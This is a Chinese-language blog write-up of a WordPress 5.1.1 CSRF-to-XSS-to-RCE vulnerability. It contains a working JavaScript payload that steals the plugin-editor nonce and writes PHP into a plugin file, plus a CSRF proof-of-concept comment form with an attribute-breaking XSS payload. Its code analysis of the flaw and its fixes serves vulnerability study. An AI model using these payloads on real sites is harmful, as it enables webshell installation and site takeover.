WordPress 5.1.1 CSRF->XSS->RCE漏洞分析

HACHp1 漏洞 2019年7月18日发布
Favorite收藏

导语:在WordPress中,对不同操作都做了nonce检测机制,以防CSRF攻击。

WordPress安全机制与XSS写shell

nonce机制

在WordPress中,对不同操作都做了nonce检测机制,以防CSRF攻击。
nonce值的生成:

$expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce'), -12, 10 );

其中,$i是由时间决定的随机数,每天的0时与12时更新一次;$action是操作;$uid是用户id;$token是用户登陆时服务器产生的,每次登陆都不同。
由此可见,nonce可以很好地避免CSRF等漏洞的产生。

后台账户重要性

WordPress认为,后台管理员是有安全意识的,而且不会被盗。所以在WordPress的后台没有XSS过滤;甚至可以通过插件编辑器直接写入webshell。

XSS后台写shell

· 有了nonce机制并且给后台用户较大的权限时,就可以通过XSS直接写入webshell。

· 利用后台管理员可以通过编辑插件写入任意代码这个特点,我们可以构造写入任意代码的JS。 可以获取webshell的JS脚本为(测试环境:WordPress5.1.1,不同版本的参数可能不同,需要抓包重写):

<html>
<script>
p = 'wordpress/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?php phpinfo();';
 
a = new XMLHttpRequest();
a.open('GET', p+q, 0);
a.send();
 
$ = 'nonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + s + '&action=edit-theme-plugin-file&' + q +'&plugin=hello.php';
 
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
 
b.onreadystatechange = function(){
   if (this.readyState == 4) {
      fetch('wordpress/wp-content/plugins/hello.php');
   }
}
</script>
 
</html>

漏洞复现

由于我复现的时候 5.1.1已经被修复了,贴一个找到的未修复的commit: https://codeload.github.com/WordPress/WordPress/zip/df681b2ee0c01c3282f07feaed0b498546c87be3

· 安装完WordPress并使用管理员登陆后,进入评论使用burp构造CSRFpayload:

<a title=' " onmouseover=alert(1) attr2=" ' rel='1'>click

· 生成的POC:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:801/cms/wordpress-5.1.1/wordpress/wp-comments-post.php" method="POST">
      <input type="hidden" name="comment" value="<a title=' " onmouseover=alert(1) attr2=" ' rel='1'>click" />
      <input type="hidden" name="submit" value="Post Comment" />
      <input type="hidden" name="comment_post_ID" value="1" />
      <input type="hidden" name="comment_parent" value="0" />
      <input type="hidden" name="_wp_unfiltered_html_comment" value="no_need_correct" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

· 管理用户访问POC后,会产生一个a标签并注入js代码,执行效果:

图片16.png

 图片17.png

· 此时,就可以执行写shell的JS代码,达到getshell的目的。

漏洞分析

再次看看前面的payload:

<a title=' " onmouseover=alert(1) attr2=" ' rel='1'>click

需要注意的是:a后的第一个属性必须为$allowedposttags白名单中的属性,如title、id等,否则WordPress会直接去掉该属性。 查看全局允许的属性名:

图片18.png

由于之前的操作繁琐(主要是评论的各种过滤),直接在漏洞修复处打断点:

function wp_rel_nofollow_callback( $matches ) {
$text = $matches[1];
$atts = shortcode_parse_atts( $matches[1] );
$rel  = 'nofollow';
 
if ( preg_match( '%href=["\'](' . preg_quote( set_url_scheme( home_url(), 'http' ) ) . ')%i', $text ) ||
preg_match( '%href=["\'](' . preg_quote( set_url_scheme( home_url(), 'https' ) ) . ')%i', $text ) ) {
 
return "<a $text>";
}
 
if ( ! empty( $atts['rel'] ) ) { //rel属性不为空时
$parts = array_map( 'trim', explode( ' ', $atts['rel'] ) );
if ( false === array_search( 'nofollow', $parts ) ) {
$parts[] = 'nofollow';
}
$rel = implode( ' ', $parts );
unset( $atts['rel'] );
 
$html = '';
foreach ( $atts as $name => $value ) {
$html .= "{$name}=\"$value\" "; //注意此处对每个属性的值添加双引号
}
$text = trim( $html );
}
return "<a $text rel=\"$rel\">";
}

可以很明显的注意到,在调用解析rel属性的函数时,如果存在rel属性,首先将解析的每一个属性直接拼接进去并且加上双引号。
WordPress对属性的解析与浏览器的解析一致,大致如下:

1. 外界为双引号,则把双引号内字符串解析为属性而不会加转义。

2. 外界为单引号,则把单引号内字符串解析为属性而不会加转义。

而在此处,如果单引号中包含双引号,解析时被当做属性,自然不会转义,而最后却被包裹上了双引号,从而造成闭合,原本在属性中的恶意代码被解析:

<a title=' " onmouseover=alert(1) attr2=" ' rel='1'>click
->
<a title=" " onmouseover=alert(1) attr2=" " rel="1">click

最后输出的结果为:

<a title=" " onmouseover="alert(1)" attr2=" " rel="1 nofollow">click</a>

从而造成XSS

修复分析

针对此漏洞的修复主要有两个:
第一处:

图片19.png 

可以看到使用esc_attr函数对属性进行转义了。

第二处:

图片20.png 

第二处修补使用wp_filter_kses代替了wp_filter_post_kses。 首先查看wp_filter_post_kses:

function wp_filter_post_kses( $data ) {
return addslashes( wp_kses( stripslashes( $data ), 'post' ) );
}
 
跟进->
 
function wp_kses( $string, $allowed_html, $allowed_protocols = array() ) {
if ( empty( $allowed_protocols ) ) {
$allowed_protocols = wp_allowed_protocols();
}
$string = wp_kses_no_null( $string, array( 'slash_zero' => 'keep' ) );
$string = wp_kses_normalize_entities( $string );
$string = wp_kses_hook( $string, $allowed_html, $allowed_protocols );
return wp_kses_split( $string, $allowed_html, $allowed_protocols ); //注意此处
}

可以看到,该函数主要是基于$allowed_html对string进行了过滤。

再查看wp_filter_kses:

function wp_filter_kses( $data ) {
return addslashes( wp_kses( stripslashes( $data ), current_filter() ) );
}

同样地,使用了wp_kses函数,不同的是这次传入的是current_filter(),其中关键的过滤功能在函数wp_kses_split中,跟进:

function wp_kses_split( $string, $allowed_html, $allowed_protocols ) {
global $pass_allowed_html, $pass_allowed_protocols;
$pass_allowed_html      = $allowed_html;
$pass_allowed_protocols = $allowed_protocols;
return preg_replace_callback( '%(<!--.*?(-->|$))|(<[^>]*(>|$)|>)%', '_wp_kses_split_callback', $string );
}
跟进_wp_kses_split_callback->
 
function _wp_kses_split_callback( $match ) {
global $pass_allowed_html, $pass_allowed_protocols;
return wp_kses_split2( $match[0], $pass_allowed_html, $pass_allowed_protocols );
}
 
跟进wp_kses_split2->
 
function wp_kses_split2( $string, $allowed_html, $allowed_protocols ) {
$string = wp_kses_stripslashes( $string );
...
if ( ! is_array( $allowed_html ) ) {
$allowed_html = wp_kses_allowed_html( $allowed_html );
}
...
}
 
跟进wp_kses_allowed_html->
 
function wp_kses_allowed_html( $context = '' ) {
global $allowedposttags, $allowedtags, $allowedentitynames;
...
switch ( $context ) {
case 'post':
$tags = apply_filters( 'wp_kses_allowed_html', $allowedposttags, $context );
 
if ( ! CUSTOM_TAGS && ! isset( $tags['form'] ) && ( isset( $tags['input'] ) || isset( $tags['select'] ) ) ) {
$tags = $allowedposttags;
 
$tags['form'] = array(
'action'         => true,
'accept'         => true,
'accept-charset' => true,
'enctype'        => true,
'method'         => true,
'name'           => true,
'target'         => true,
);
$tags = apply_filters( 'wp_kses_allowed_html', $tags, $context );
}
 
return $tags;
 
case 'user_description':
case 'pre_user_description':
$tags             = $allowedtags;
$tags['a']['rel'] = true;
return apply_filters( 'wp_kses_allowed_html', $tags, $context );
 
case 'strip':
return apply_filters( 'wp_kses_allowed_html', array(), $context );
 
case 'entities':
return apply_filters( 'wp_kses_allowed_html', $allowedentitynames, $context );
 
case 'data':
default:
return apply_filters( 'wp_kses_allowed_html', $allowedtags, $context );
}

可以看到,传入post时,使用$allowedposttags过滤;传入current_filter()解析出的pre_comment_content时则进入default,使用$allowedtags过滤。 这两个数组都是全局变量,$allowedposttags中包括各种标签,其中就包括a以及其rel属性:

'a'          => array(
'href'     => true,
'rel'      => true,
'rev'      => true,
'name'     => true,
'target'   => true,
'download' => array(
'valueless' => 'y',
),
)

而$allowedtags比$allowedposttags严格的多,其中a标签的内容如下:

'a'          => array(
'href'  => true,
'title' => true,
)

所以,第二个修复点其实是把标签白名单缩小了,不允许rel的出现。

参考资料

· https://www.bynicolas.com/code/wordpress-nonce/

· https://brutelogic.com.br/blog/compromising-cmses-xss/

· https://lorexxar.cn/2017/08/23/xss-tuo/

· https://lorexxar.cn/2019/03/14/wp5-1-1xss/

本文为 HACHp1 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址: https://www.4hou.com/vulnerable/19140.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论